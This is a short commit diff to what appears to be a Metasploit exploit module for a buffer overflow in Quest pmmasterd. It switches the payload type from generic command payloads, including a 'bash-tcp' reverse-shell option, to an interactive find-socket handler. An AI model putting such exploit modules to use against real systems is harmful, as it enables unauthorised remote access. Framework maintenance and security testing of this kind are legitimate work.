Convert quest_pmmasterd_bof to cmd_interact/find

bug/bundler_fix
William Vu 2017-08-18 00:19:09 -05:00
parent 9aba360f2b
commit d659cdc8f6
1 changed files with 3 additions and 4 deletions

View File

@ -39,8 +39,8 @@ class MetasploitModule < Msf::Exploit::Remote
{
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic python perl ruby openssl bash-tcp'
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Arch' => ARCH_CMD,
@ -97,8 +97,7 @@ class MetasploitModule < Msf::Exploit::Remote
print_status("Sending trigger")
sock.put(request)
sock.get_once
print_status("Sending payload")
sock.put(payload.encoded)
handler(sock)
disconnect
end